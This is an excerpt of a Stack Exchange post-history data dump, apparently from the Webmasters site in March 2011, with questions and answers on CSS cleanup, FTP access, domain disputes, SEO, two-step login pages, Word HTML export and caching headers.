  <row Id="23138" PostHistoryTypeId="5" PostId="10043" RevisionGUID="4fc67719-dbc2-4575-8413-d3d4f1b1784f" CreationDate="2011-03-09T15:04:26.963" UserId="5837" Comment="added 213 characters in body" Text="I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this?&#xD;&#xA;&#xD;&#xA;The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again.&#xD;&#xA;&#xD;&#xA;EDIT: It was suggested to use [Dust-Me Selectors][1] or Chrome's Web Page Performance tool. But they both work on level of selectors, and not individual rules. I've got lots of cases where a rule inside a selector is always overridden--and this is what I mostly want to get rid of. For example:&#xD;&#xA;&#xD;&#xA;    body { color: white; padding: 10em; }&#xD;&#xA;    h1 { color: black; }&#xD;&#xA;    p { color: black; }&#xD;&#xA;    ...&#xD;&#xA;    ul { color: black; }&#xD;&#xA;&#xD;&#xA;All the text in my HTML is inside some wrapper element, so it is never white. `body`'s padding always works, so of course the whole `body` selector cannot be removed. And I'd like to get rid of such useless rules too.&#xD;&#xA;&#xD;&#xA;EDIT: And another case of useless rule: when it duplicates existing one without changing anything:&#xD;&#xA;&#xD;&#xA;    a       { margin-left: 5px; color: blue; }&#xD;&#xA;    a:hover { margin-left: 5px; color: red; }&#xD;&#xA;&#xD;&#xA;I'd happily get rid of the second `margin-left`... again it seems to me that those tools does not find such things.&#xD;&#xA;&#xD;&#xA;EDIT: I appreciate all the answers, but sadly the tools you suggested did not make any useful suggestions. I upvoted your answers, but I'll wait for a tool that does things more granularly, as specified above.&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/dustmeselectors/&#xD;&#xA;" />
  <row Id="23139" PostHistoryTypeId="5" PostId="10355" RevisionGUID="89bb54e3-5e8d-4c96-a851-7064bc1a6255" CreationDate="2011-03-09T15:24:58.493" UserId="5847" Comment="added 28 characters in body; added 356 characters in body" Text="Is there a special port for godaddy servers? &#xD;&#xA;Do I have to call them to enable ftp support?&#xD;&#xA;I can login w the username and password on the control panel on godaddy.com but not on ftp. &#xD;&#xA;I'm not sure what I'm doing wrong. &#xD;&#xA;I tried using Filezilla and CuteFTP Pro using port 21 but w/ no luck.&#xD;&#xA;&#xD;&#xA;Go Daddy's Instructions are: &#xD;&#xA;1.FTP Address or Hostname: Your Domain Name&#xD;&#xA;2.FTP Username &amp; Password: You selected both of these during account creation&#xD;&#xA;3.Start Directory: You should leave this blank or include a single forward slash (i.e. /)&#xD;&#xA;4.FTP Port: You should enter Standard, or 21.&#xD;&#xA;•FTP Client. ( ◦Filezilla, ◦WS-FTP, ◦CuteFTP Pro, ◦AceFTP )&#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="23140" PostHistoryTypeId="2" PostId="10359" RevisionGUID="4834910b-b7b7-4b5e-89d0-2d66c30fced2" CreationDate="2011-03-09T15:26:13.840" UserId="118" Text="I'm looking to NOT reinvent the wheel with an image upload system in php.  Is there a good standalone library that allows for: &#xD;&#xA;&#xD;&#xA; * Creating the system for uploading, renaming, and perhaps resizing images.&#xD;&#xA;&#xD;&#xA; * Creating the front-end, html and/or javascript for the form upload parts of image upload.&#xD;&#xA;&#xD;&#xA;I've found a lot of image gallery systems, but no promising standalone system &amp; ui libraries, ready for insertion into custom php." />
  <row Id="23141" PostHistoryTypeId="1" PostId="10359" RevisionGUID="4834910b-b7b7-4b5e-89d0-2d66c30fced2" CreationDate="2011-03-09T15:26:13.840" UserId="118" Text="php image upload library" />
  <row Id="23142" PostHistoryTypeId="3" PostId="10359" RevisionGUID="4834910b-b7b7-4b5e-89d0-2d66c30fced2" CreationDate="2011-03-09T15:26:13.840" UserId="118" Text="&lt;php&gt;&lt;image&gt;&lt;library&gt;" />
  <row Id="23143" PostHistoryTypeId="5" PostId="10358" RevisionGUID="99c29c94-fc7a-42d8-96fc-05bbe912facd" CreationDate="2011-03-09T15:30:12.003" UserId="1253" Comment="added 73 characters in body" Text="Are you following [godaddy's FTP instructions][1]?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Try setting data connection type to PASV (passive mode)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/Popups/ftp.aspx" />
  <row Id="23144" PostHistoryTypeId="2" PostId="10360" RevisionGUID="0507a79b-6bcb-48a6-a1de-c909171c6276" CreationDate="2011-03-09T15:33:30.143" UserId="118" Text="That is something you'd want to implement server-side on your google adwords landing page(s).&#xD;&#xA;&#xD;&#xA;For example, in php, I log the server-side `$_SERVER` variable in whole.  It gives interesting information like user-agent string, ip (potential for spoofing though), times, etc.  It's a useful addition to google analytics sometimes.&#xD;&#xA;&#xD;&#xA;Be aware that you're going to be dealing with a lot of repeated or duplicate information, since anyone who hits the page is going to provide that information, including cases when they simply refresh the page, or browse away and back, etc.  Statistical sorting of the resulting information may be the only way to make meaningful data out of the results." />
  <row Id="23145" PostHistoryTypeId="2" PostId="10361" RevisionGUID="24563a68-ded5-46bf-a137-396abd589339" CreationDate="2011-03-09T15:33:48.230" UserId="5849" Text="I am going to guess that its someone looking for a site exploit. pagewanted is a common variable name that is sometimes then put in a sql statement like this: http://www.codingforums.com/archive/index.php/t-97885.html&#xD;&#xA;&#xD;&#xA;If this actually works, then they might figure that your site has some security holes. &#xD;&#xA;&#xD;&#xA;That would also explain why a search for that would bring up a bunch of hacked websites. " />
  <row Id="23146" PostHistoryTypeId="2" PostId="10362" RevisionGUID="606e4ccf-ea41-4026-8287-79c9e070fa53" CreationDate="2011-03-09T15:37:04.653" UserId="1612" Text="I had some preminum domain names ,  but i had received many dispute emails most of them form china , and i am in the middle east .&#xD;&#xA;they are  mainly talking about  Intellectual property rights  with my domain names &#xD;&#xA;&#xD;&#xA;what is the best i should do with these kind of problem ?&#xD;&#xA;&#xD;&#xA;please advise me &#xD;&#xA;" />
  <row Id="23147" PostHistoryTypeId="1" PostId="10362" RevisionGUID="606e4ccf-ea41-4026-8287-79c9e070fa53" CreationDate="2011-03-09T15:37:04.653" UserId="1612" Text="how to deal with domain names + Intellectual property rights in worldwide ??" />
  <row Id="23148" PostHistoryTypeId="3" PostId="10362" RevisionGUID="606e4ccf-ea41-4026-8287-79c9e070fa53" CreationDate="2011-03-09T15:37:04.653" UserId="1612" Text="&lt;domain-names&gt;" />
  <row Id="23149" PostHistoryTypeId="2" PostId="10363" RevisionGUID="6672afb5-d870-41b1-ac3e-76569940a538" CreationDate="2011-03-09T15:38:42.237" UserId="5445" Text="I found another solution: The &quot;SomeCategory&quot; and &quot;AnotherCategory&quot; menus now are category blog menu items. I defined a joomla category for each of these and assigned the product articles to those categories. I configured the &quot;SomeCategory&quot; category blog menu item such that it only displays one article.&#xD;&#xA;&#xD;&#xA;Using a category blog menu item automatically guarantees that if you display an article of the corresponding category, it is treated like a submenu: The breadcrumb displays &quot;SomeCategory &gt; SomeProduct&quot;, and the &quot;SomeCategory&quot; menu item in the main menu remains active." />
  <row Id="23151" PostHistoryTypeId="5" PostId="10362" RevisionGUID="9f6cd975-c7f7-48bd-925e-e67d4903a112" CreationDate="2011-03-09T15:44:55.363" UserId="108" Comment="deleted 30 characters in body" Text="I have some premium domain names ,  and I have received many dispute emails most of them form china, and I am in the middle east. They are  mainly talking about  Intellectual property rights with my domain names. &#xD;&#xA;&#xD;&#xA;What I should do when I get these kinds of dispute emails?&#xD;&#xA;" />
  <row Id="23152" PostHistoryTypeId="2" PostId="10365" RevisionGUID="4555e8be-6a4d-4786-9feb-d127142f22c8" CreationDate="2011-03-09T15:50:24.763" UserId="108" Text="First off I am not a lawyer so contacting one that understands internet laws is always useful and don't take my advice as legal advice. A web patent lawyer might be what you need.&#xD;&#xA;&#xD;&#xA;That being said, my company has received a number of these emails as well and we are in the US.  Usually, if you Google the email address, company name, or some other piece of info about the email you will see a number of sites stating that the email is a scam.  China as far as I know has little to no intellectual property laws.  &#xD;&#xA;&#xD;&#xA;Furthermore, if your domain does not have a TLD that belongs to China, I would assume a Chinese company has no legal rights whatsoever to do anything about your site name.  Wikipedia has a list of all of the TLDs, http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains, China has a couple because of their numerous special districts." />
  <row Id="23154" PostHistoryTypeId="5" PostId="10036" RevisionGUID="43642d28-4cc2-48e7-bf01-3606505e1336" CreationDate="2011-03-09T15:59:51.793" UserId="5858" Comment="corrected the site name" Text="Domain length should not impact your chances of ranking well. However taking a look at: &#xD;&#xA;&#xD;&#xA;www.creditcardpaymentgateways.in(#correction from .com to .in) it would appear to be a holding page with low value content this probably means you don't get much traffic. Plus your domain name is made up of a number of key word phrases so I assume you were wanting to rank for exact match searches. &#xD;&#xA;&#xD;&#xA;i would look to improve content and do some link building. " />
  <row Id="23155" PostHistoryTypeId="24" PostId="10036" RevisionGUID="43642d28-4cc2-48e7-bf01-3606505e1336" CreationDate="2011-03-09T15:59:51.793" Comment="Proposed by 5858 approved by -1 edit id of 54" />
  <row Id="23156" PostHistoryTypeId="5" PostId="10036" RevisionGUID="bb1d0394-c8aa-43c7-b683-71d028061cbe" CreationDate="2011-03-09T15:59:52.043" UserId="1253" Comment="deleted 30 characters in body" Text="Domain length should not impact your chances of ranking well. However taking a look at: &#xD;&#xA;&#xD;&#xA;www.creditcardpaymentgateways.in it would appear to be a holding page with low value content this probably means you don't get much traffic. Plus your domain name is made up of a number of key word phrases so I assume you were wanting to rank for exact match searches. &#xD;&#xA;&#xD;&#xA;i would look to improve content and do some link building. " />
  <row Id="23157" PostHistoryTypeId="2" PostId="10366" RevisionGUID="04a80991-c23b-4881-b466-48edde9d2ad2" CreationDate="2011-03-09T16:30:33.750" UserId="5987" Text="If you try searching for our company and product name you'll get two useful links and 10 pages of hacker sites where eventually you can download the cracked version of our products.&#xD;&#xA;&#xD;&#xA;How can we clean hacker links and leave only useful links to our prouct pages? We already checked the Google URL Removal Tool but within the 'Removal Type' options we can specify there is nothing meaningful to specify in this case.&#xD;&#xA;&#xD;&#xA;Shall we proceed the same?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="23158" PostHistoryTypeId="1" PostId="10366" RevisionGUID="04a80991-c23b-4881-b466-48edde9d2ad2" CreationDate="2011-03-09T16:30:33.750" UserId="5987" Text="A couple of links to our products and 10 pages of crack/keygen/torrent/etc." />
  <row Id="23159" PostHistoryTypeId="3" PostId="10366" RevisionGUID="04a80991-c23b-4881-b466-48edde9d2ad2" CreationDate="2011-03-09T16:30:33.750" UserId="5987" Text="&lt;google-search&gt;" />
  <row Id="23160" PostHistoryTypeId="2" PostId="10367" RevisionGUID="29b8ec75-ddf7-4da5-a132-15105bb9ce13" CreationDate="2011-03-09T16:31:21.720" UserId="632" Text="So I've recently been encountering more two step login processes, where I'm required to enter my username on one page and my password on a second. I really don't like this pattern, as it requires an extra page load just to log in.&#xD;&#xA;&#xD;&#xA;But I've been told by a couple of people that it is more secure. How is it more secure?  Are there other reasons to inconvenience the user with this?" />
  <row Id="23161" PostHistoryTypeId="1" PostId="10367" RevisionGUID="29b8ec75-ddf7-4da5-a132-15105bb9ce13" CreationDate="2011-03-09T16:31:21.720" UserId="632" Text="What are the reasons to have a two step login? (Username on one page, password on the second.)" />
  <row Id="23162" PostHistoryTypeId="3" PostId="10367" RevisionGUID="29b8ec75-ddf7-4da5-a132-15105bb9ce13" CreationDate="2011-03-09T16:31:21.720" UserId="632" Text="&lt;security&gt;&lt;login&gt;" />
  <row Id="23163" PostHistoryTypeId="2" PostId="10368" RevisionGUID="33e2aa89-60bb-47fc-b57f-116e1af4f79f" CreationDate="2011-03-09T16:32:49.123" UserId="1253" Text="File a [DMCA notice][1] about those pages. Google will then remove them from their index.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/bin/static.py?page=ts.cs&amp;ts=1114905" />
  <row Id="23164" PostHistoryTypeId="2" PostId="10369" RevisionGUID="6a960dd7-370f-436e-a5f5-4deb445b38f2" CreationDate="2011-03-09T16:42:04.843" UserId="5739" Text="Real Two step verification introduces another level of security by getting users to login with their username and password and then say a code generated on their phone or via a card/code generator (Barclays Bank sent out card readers that generate a use once code based on your card swipe.&#xD;&#xA;&#xD;&#xA;Splitting the username and password on to two different pages doesn't add anything in terms of additional security (AFAIK)" />
  <row Id="23165" PostHistoryTypeId="2" PostId="10370" RevisionGUID="285ce37a-dd9e-4b14-98a1-2927e3df9cd8" CreationDate="2011-03-09T16:49:12.697" UserId="5739" Text="What do the FTP client logs/terminal show in terms of errors?&#xD;&#xA;&#xD;&#xA;In Filezilla -&gt; View -&gt; Message Log you will see the command/response sequence when your client attempts to login. You should be able to work out where it is going wrong from the  codes.&#xD;&#xA;&#xD;&#xA;EDIT: Wikipedia has a list of the [common FTP codes][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_FTP_server_return_codes" />
  <row Id="23166" PostHistoryTypeId="2" PostId="10371" RevisionGUID="fd088332-5db8-4afc-808b-0c9c973a6c82" CreationDate="2011-03-09T16:51:03.170" UserId="5988" Text="I'm using the following tool to analyse how 'optimal' a site that I'm working on is for search engines:&#xD;&#xA;&#xD;&#xA;http://tools.seobook.com/general/spider-test/&#xD;&#xA;&#xD;&#xA;I enter the URL for the site - http://ftmsuat.moneymate.com - into the search bar, and it returns a breakdown of the contents of the page.&#xD;&#xA;&#xD;&#xA;I'm a little confused by what I see though. According to the results, the page doesn't have a title, description or keywords. But if you check the source of the page, those elements are definitely there. &#xD;&#xA;&#xD;&#xA;So I'm wondering now, which is wrong? seobook.com or my page?" />
  <row Id="23167" PostHistoryTypeId="1" PostId="10371" RevisionGUID="fd088332-5db8-4afc-808b-0c9c973a6c82" CreationDate="2011-03-09T16:51:03.170" UserId="5988" Text="SEO tool is telling me title, description and keywords don't exist, but they do. Where is the problem?" />
  <row Id="23168" PostHistoryTypeId="3" PostId="10371" RevisionGUID="fd088332-5db8-4afc-808b-0c9c973a6c82" CreationDate="2011-03-09T16:51:03.170" UserId="5988" Text="&lt;seo&gt;" />
  <row Id="23169" PostHistoryTypeId="2" PostId="10372" RevisionGUID="f6c26d34-0693-4ed7-987e-21dcca797219" CreationDate="2011-03-09T16:57:58.333" UserId="5739" Text="I can see them!&#xD;&#xA;&#xD;&#xA;Have you tried Seobook.com on other sites or other tools on your site?&#xD;&#xA;&#xD;&#xA;The [W3C Validator][1] isn't complaining about anything crucial missing that could cause the tool to &quot;bomb out&quot; and the [http://www.reactionengine.com/][2] found your title and description.&#xD;&#xA;&#xD;&#xA;On a side note, you could fit a lot more into the title to make use of it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org&#xD;&#xA;  [2]: http://www.reactionengine.com/" />
  <row Id="23170" PostHistoryTypeId="2" PostId="10373" RevisionGUID="35f79512-8d58-4a0e-92cc-6bc385481587" CreationDate="2011-03-09T16:59:59.257" UserId="5990" Text="So normally I wouldn't use this feature (&quot;Save as Web Page&quot;) but I have large documents from clients they just want put on their site as HTML, and formatting it all by hand seems like a waste of time.&#xD;&#xA;&#xD;&#xA;I have tried &quot;save as webpage&quot; in Word 2007, but it produces all sorts of bad stuff.  To wit:&#xD;&#xA;&#xD;&#xA;    &lt;b style='mso-bidi-font-weight:normal'&gt;&#xD;&#xA;    &lt;span style=&quot;mso-spacerun: yes&quot;&gt;&#xD;&#xA;&#xD;&#xA;as well as a large block of XML formatting info:&#xD;&#xA;    &#xD;&#xA;    &lt;!--[if gte mso 9]&gt;&lt;xml&gt;&#xD;&#xA;     &lt;o:DocumentProperties&gt;&#xD;&#xA;     &lt;o:Subject&gt; &lt;/o:Subject&gt;&#xD;&#xA;     &lt;o:Author&gt; &lt;/o:Author&gt;&#xD;&#xA;     &lt;o:Keywords&gt; &lt;/o:Keywords&gt;&#xD;&#xA;     ...&#xD;&#xA;&#xD;&#xA;As I said, formatting it all by hand seems like a waste of time, but the way MS exports currently just has *too much* cruft.  Is there a way to export MS Word doc as html without all this?" />
  <row Id="23171" PostHistoryTypeId="1" PostId="10373" RevisionGUID="35f79512-8d58-4a0e-92cc-6bc385481587" CreationDate="2011-03-09T16:59:59.257" UserId="5990" Text="Is there a way to save MS Word document as HTML w/o the ms proprietary stuff?" />
  <row Id="23172" PostHistoryTypeId="3" PostId="10373" RevisionGUID="35f79512-8d58-4a0e-92cc-6bc385481587" CreationDate="2011-03-09T16:59:59.257" UserId="5990" Text="&lt;html&gt;&lt;xml&gt;&lt;microsoft&gt;&lt;markup&gt;" />
  <row Id="23173" PostHistoryTypeId="2" PostId="10374" RevisionGUID="7e5e9b6f-68ec-4cb0-9c0c-e6632e689609" CreationDate="2011-03-09T17:02:12.177" UserId="5739" Text="There are some good answers in this [What is the best free way to clean up Word HTML?][1]&#xD;&#xA;&#xD;&#xA;with [HTMLTidy][2] coming out on tops&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/67964/what-is-the-best-free-way-to-clean-up-word-html&#xD;&#xA;  [2]: http://tidy.sourceforge.net/" />
  <row Id="23174" PostHistoryTypeId="2" PostId="10375" RevisionGUID="0e8423dd-bd91-4f64-a2ce-3707dc378327" CreationDate="2011-03-09T17:08:00.367" UserId="4142" Text="You can always use another application as an intermediary, like [LibreOffice][1], and use it to save it as an HTML document.&#xD;&#xA;&#xD;&#xA;LibreOffice (formerly [OpenOffice][2], which is still available if you prefer it) generates much cleaner code comparatively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.libreoffice.org/&#xD;&#xA;  [2]: http://openoffice.org" />
  <row Id="23175" PostHistoryTypeId="2" PostId="10376" RevisionGUID="1c1c0daf-d19d-4873-bcdc-b4f0e9019cd1" CreationDate="2011-03-09T17:16:04.173" UserId="5991" Text="I've done a LOT of experimenting with Google rankings. I know I posted a question to one of the stack exchanges sites and was surprised that the question hit my Google Alerts (http://www.google.com/alerts) withing 24 hours.&#xD;&#xA;&#xD;&#xA;Google always ranks Wikipedia and Stack Overflow really highly.  I believe there are two reasons for this.&#xD;&#xA;&#xD;&#xA;1) Neither of these two sites &quot;sell&quot; anything. They are informational. Google knows that any Wikipedia page has no hidden agenda. Anyone who visits one of their pages will find what they are looking for, probably more than they are looking for.&#xD;&#xA;&#xD;&#xA;2) Both of these sites are constantly being updated and rely on content created by intelligent users who aren't selling anything.  Again, 99% of answers really shed light on myriad topics." />
  <row Id="23176" PostHistoryTypeId="25" PostId="10373" RevisionGUID="7b42fbd7-b07a-4427-b578-1fddd5b6a372" CreationDate="2011-03-09T17:23:32.550" Comment="http://twitter.com/#!/StackWebmasters/status/45535200553336832" />
  <row Id="23177" PostHistoryTypeId="2" PostId="10377" RevisionGUID="361efda9-0a0f-4977-8a0e-aa1631b75d37" CreationDate="2011-03-09T17:28:13.703" UserId="5849" Text="The only reason that I've seen the two step login as you describe it be more secure is if the username entered on the first page is matched to some sort of image or phrase that the user chooses when they register. This helps the site verify itself. &#xD;&#xA;&#xD;&#xA;If someone were to copy your site to use in a phishing campaign, they wouldn't be able to display the image or phrase. It protects the user when they enter their password. &#xD;&#xA;&#xD;&#xA;If you are not pulling up any additional account security items from the first page to the second, then there isn't much point to doing it that way. " />
  <row Id="23178" PostHistoryTypeId="2" PostId="10378" RevisionGUID="e57a4f28-171e-4275-bbe7-61501527d95a" CreationDate="2011-03-09T17:31:29.663" UserId="5849" Text="I just tested my site out with this tool and I don't have a title or description either. I think they might have some coding issues with their tool. My title and description show up fine in Google. &#xD;&#xA;&#xD;&#xA;Check your search engine listing to make sure that Google can find your title and description and if so, don't worry about it. " />
  <row Id="23179" PostHistoryTypeId="2" PostId="10379" RevisionGUID="024a059d-2080-4c90-befa-adca22804fbf" CreationDate="2011-03-09T17:32:43.443" UserId="5991" Text="The notion that you can't start a domain name with a number is a holdover from previous internet best practices.&#xD;&#xA;&#xD;&#xA;In the early days of the web, it was unacceptable to begin a domain name with a number.  In many cases, it would be mistaken for the start of an IP address (e.g., 127.0.0.1).  &#xD;&#xA;&#xD;&#xA;Now, all hardware and software products worth purchasing are completely capable of handling domain names that begin with a number.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23180" PostHistoryTypeId="2" PostId="10380" RevisionGUID="b1d6019d-58fa-4d7e-94f8-fd8cbef83134" CreationDate="2011-03-09T17:34:51.957" UserId="5849" Text="I has been a while since I've done this, but I believe that Google Doc's export to HTML works better than MS Word and I believe that Google Docs will read Word docs, so you might be able to load the doc into Google Docs and export it that way. " />
  <row Id="23181" PostHistoryTypeId="2" PostId="10381" RevisionGUID="0f056de6-e181-41aa-87ed-3425352235af" CreationDate="2011-03-09T17:46:11.130" UserId="5901" Text="With hosting costs coming down drastically over the years, it really doesn't make sense to gamble with a free hosting provider anymore. You should consider spending a few dollars and buy a decent hosting space. Amazon EC2, Dreamhost, GoDaddy, Linode, Slicehost etc. are good economical options to choose from. It also guarantees better uptime and performance." />
  <row Id="23182" PostHistoryTypeId="2" PostId="10382" RevisionGUID="bcb083b7-145d-4bd0-97ed-93cae7dc46a8" CreationDate="2011-03-09T17:49:22.660" UserId="5901" Text="Accepting username and password on seperate page does not make the application more secure in any way whatsoever. I'm interested in knowing which website(s) did you encounter this on?" />
  <row Id="23183" PostHistoryTypeId="2" PostId="10383" RevisionGUID="6de4c40a-5002-4004-b650-a425bcf8f0d2" CreationDate="2011-03-09T18:11:39.817" UserId="5901" Text="What you're doing is right. Just give it some time to propagate. FYI, I am correctly redirected to your parent domain from the subdomain now, without any errors." />
  <row Id="23184" PostHistoryTypeId="2" PostId="10384" RevisionGUID="b631ccd7-2cbd-4f34-8299-db93064cf9f7" CreationDate="2011-03-09T18:20:01.870" UserId="5901" Text="The reason why Facebook does not show the thumbnail is because it cannot fetch it. Why not try testing it once without the URL rewriting?" />
  <row Id="23185" PostHistoryTypeId="2" PostId="10385" RevisionGUID="707cdd9f-0a1f-42ac-90ad-1b66c23fba7b" CreationDate="2011-03-09T18:20:14.220" UserId="5912" Text="If anyone is curious I resolved this problem with the following syntax:&#xD;&#xA;&#xD;&#xA;    &lt;rule name=&quot;NoSSL - folder&quot; enabled=&quot;true&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;       &lt;match url=&quot;^nossl/.*&quot; /&gt;&#xD;&#xA;       &lt;conditions logicalGrouping=&quot;MatchAll&quot; trackAllCaptures=&quot;false&quot;&gt;&#xD;&#xA;       &lt;/conditions&gt;&#xD;&#xA;       &lt;action type=&quot;None&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;    &lt;rule name=&quot;Redirect to HTTPS&quot; enabled=&quot;true&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;    	&lt;match url=&quot;(.*)&quot; /&gt;&#xD;&#xA;    	&lt;conditions logicalGrouping=&quot;MatchAll&quot; trackAllCaptures=&quot;false&quot;&gt;&#xD;&#xA;    		&lt;add input=&quot;{HTTPS}&quot; pattern=&quot;off&quot; /&gt;&#xD;&#xA;    	&lt;/conditions&gt;&#xD;&#xA;    	&lt;action type=&quot;Redirect&quot; url=&quot;https://{HTTP_HOST}/{R:1}&quot; redirectType=&quot;Found&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23186" PostHistoryTypeId="2" PostId="10386" RevisionGUID="9b8e67ac-4f7a-47ca-a008-97eada928932" CreationDate="2011-03-09T18:57:38.507" UserId="4142" Text="If your server is sitting behind a reverse-proxy, application firewall, or other type of network device, it may provide it's own caching mechanism and rewrite some of the HTTP headers being sent from your server.&#xD;&#xA;&#xD;&#xA;You can use the [Live HTTP Headers][1] Firefox plugin from a remote connection to judge exactly what's being received by an outside visitor.&#xD;&#xA;&#xD;&#xA;You can also try overriding the HTTP headers sent by including the cache control value in a meta tag inside the `&lt;head&gt;` of the document:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache&quot;&gt;&#xD;&#xA;You could list other headers in this fashion as well, with one tag per header value.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/" />
  <row Id="23187" PostHistoryTypeId="2" PostId="10387" RevisionGUID="dc8852b1-0182-409d-a4c0-ba9decd0a812" CreationDate="2011-03-09T19:05:36.340" UserId="5991" Text="Another option is to use a little trick to make your URL more memorable.  &#xD;&#xA;&#xD;&#xA;If you were creating a URL and wanted to take advantage of your corporate domain, which might be IBM, but couldn't get corporate to approve or act upon creating the subdomain, you could buy the domain you wanted, say SuperProduct.com and then add IBM as the host, or subdomain.  &#xD;&#xA;&#xD;&#xA;You would end up with IBM.SuperProduct.com." />
  <row Id="23188" PostHistoryTypeId="5" PostId="10342" RevisionGUID="12cfdd48-04bc-40ff-8fd3-0de3f0a39867" CreationDate="2011-03-09T19:16:37.593" UserId="5967" Comment="corrected spelling" Text="HP used to do this, and they may still do it. This is how they load balanced their site.&#xD;&#xA;Each sub-domain could be associated with a separate IP address and upon logging into www.hp.com you would be redirected to one of www1.hp.com ... etc &#xD;&#xA;I think there may have even been a time before CDN's came into their own, that Amazon did the same thing.&#xD;&#xA;&#xD;&#xA;Sometimes this is due to poor application design, in which the server hosting website version1 is hosted at 68.68.68.2 (www.domain.com)  and  then someone rewrites the website because your developer from Texas is now in jail (true story...) and because some XML-RPC logic buried in the pile of crap at www.domain.com is still needed we just redirect our users to wwws.domain.com (68.68.68.3) where our new and improved site is that was developed by Brian the disgruntled ex Microsoft employee.&#xD;&#xA;&#xD;&#xA;We aren't sure what will happen if we take down www.domain.com or move it or rename it, so we just leave it instead of migrating our 'good' website back to our primary domain." />
  <row Id="23189" PostHistoryTypeId="2" PostId="10388" RevisionGUID="0a191e0a-856b-4c41-944c-7407405b1d22" CreationDate="2011-03-09T19:17:07.640" UserId="4142" Text="The only reasoning I can come up with involves preventing automated attacks.&#xD;&#xA;&#xD;&#xA;Where the username and password are both accepted on one page, it's relatively simple to create an automated script that will hammer that page with username and password combinations until something gets through - called a &quot;Brute force&quot; attack, for obvious reasons.&#xD;&#xA;&#xD;&#xA;Having your username entered on one page and your password entered on another page would make this sort of attack more difficult, but not impossible. It would do a nice job of keeping out simple attackers, and put you ahead of the majority of sites.&#xD;&#xA;&#xD;&#xA;While you're not technically more secure than your neighbor, you're not one of the low-hanging fruit anymore." />
  <row Id="23190" PostHistoryTypeId="2" PostId="10389" RevisionGUID="e908bc7a-ba76-4c78-a5da-9677513370c9" CreationDate="2011-03-09T19:24:51.580" UserId="5991" Text="While it may be a good idea to write for humans or for search engines, it's a great idea to consider writing for both. The first rule of great writing is this:&#xD;&#xA;&#xD;&#xA;Don't write to be understood; write so that you cannot be misunderstood.&#xD;&#xA;&#xD;&#xA;Always assume that a sentence will be taken out of context or be used by itself to represent the whole of paragraph. If you use too many &quot;he/she/it/them/those/us/thing/stuff/do&quot;, you will not be understood. &#xD;&#xA;&#xD;&#xA;Which is the better sentence?  Which one appeals to both humans and search engines? Which one is most likely to be understood out of context?&#xD;&#xA;&#xD;&#xA;1) He gave her the stuff to make more things.&#xD;&#xA;&#xD;&#xA;2) John gave Sarah the AC/DC albums to create additional wall photos." />
  <row Id="23191" PostHistoryTypeId="5" PostId="10344" RevisionGUID="f85a5849-9693-4c5d-b3e5-68c070d1c5b2" CreationDate="2011-03-09T19:26:15.113" UserId="4248" Comment="Clean up code formatting" Text="I'm experiencing a caching issue I can't explain. This is happening across browsers, IPs and ISPs. If a user force-refreshes, they see the new content. If they then refresh or return to the page, the old one displays. I've tried using headers via PHP such as &#xD;&#xA;&#xD;&#xA;    header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );&#xD;&#xA;    header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );&#xD;&#xA;    header( 'Cache-Control: no-store, no-cache, must-revalidate' );&#xD;&#xA;    header( 'Cache-Control: post-check=0, pre-check=0', false );&#xD;&#xA;    header( 'Pragma: no-cache' );&#xD;&#xA;&#xD;&#xA;Laid out correctly, at the very beginning of the file. The problem persists. A pan-ISP proxy is unlikely. Suggestions?" />
  <row Id="23192" PostHistoryTypeId="24" PostId="10344" RevisionGUID="f85a5849-9693-4c5d-b3e5-68c070d1c5b2" CreationDate="2011-03-09T19:26:15.113" Comment="Proposed by 4248 approved by 1253 edit id of 56" />
  <row Id="23193" PostHistoryTypeId="5" PostId="10369" RevisionGUID="70a15d7c-a05f-42a6-92a0-34a1af988fe3" CreationDate="2011-03-09T19:29:30.633" UserId="4142" Comment="Adding in the official terminology, and a link to Wikipedia for more information" Text="Real [two factor authentication][1] introduces another level of security by getting users to login with their username and password and then say a code generated on their phone or via a card/code generator (Barclays Bank sent out card readers that generate a use once code based on your card swipe.&#xD;&#xA;&#xD;&#xA;Splitting the username and password on to two different pages doesn't add anything in terms of additional security (AFAIK)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Two-factor_authentication" />
  <row Id="23194" PostHistoryTypeId="24" PostId="10369" RevisionGUID="70a15d7c-a05f-42a6-92a0-34a1af988fe3" CreationDate="2011-03-09T19:29:30.633" Comment="Proposed by 4142 approved by 108 edit id of 55" />
